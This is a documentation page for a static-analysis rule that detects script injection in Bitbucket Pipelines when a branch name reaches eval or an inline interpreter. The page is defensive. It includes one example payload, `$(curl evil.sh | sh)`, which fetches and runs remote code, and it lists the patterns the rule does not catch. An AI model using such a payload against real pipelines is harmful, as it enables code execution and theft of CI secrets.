> ## Documentation Index
> Fetch the complete documentation index at: https://loadwise.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# bitbucket-pipelines-script-injection

> A Bitbucket Pipelines script passes the branch name to eval or inline code, which parses it as commands.

## What it flags

A `script:` or `after-script:` line of a `step:` anywhere in `bitbucket-pipelines.yml` (default, branches, pull-requests, tags, custom, parallel and stage pipelines, and `definitions:`) that hands `$BITBUCKET_BRANCH` to a command that parses it as code. The shell expands the variable, so a plain `echo "$VAR"` or `git checkout "$VAR"` only passes text and is not reported. The risk is a second parse: `eval` re-reads all its arguments as commands, and `sh -c`, `bash -c`, `python -c`, `node -e`, `ruby -e`, `perl -e`, `php -r` and `pwsh -Command` read their next argument as code, so a value such as `$(curl evil.sh | sh)` runs. [Bitbucket docs](https://support.atlassian.com/bitbucket-cloud/docs/variables-and-secrets/)

Not flagged: the variable in single quotes or escaped (`\$VAR`), so the inner shell reads it from the environment; the variable passed as a later argument (`sh -c 'echo "$1"' _ "$VAR"`); `eval` inside a string or after another command on the same line; text inside `$(...)` or backticks, unless an `echo` or `printf` there prints it back into the code; and scripts that span lines with a trailing backslash. YAML anchors and aliases are not expanded. Pipe `variables:` are not checked.

```yaml theme={null}
script:
  - ./deploy.sh "$BITBUCKET_BRANCH"
```

## Configuration

Set the rule to `"off"` in `loadwise.config.json` to drop its findings:

```json theme={null}
{
  "rules": { "bitbucket-pipelines-script-injection": "off" }
}
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.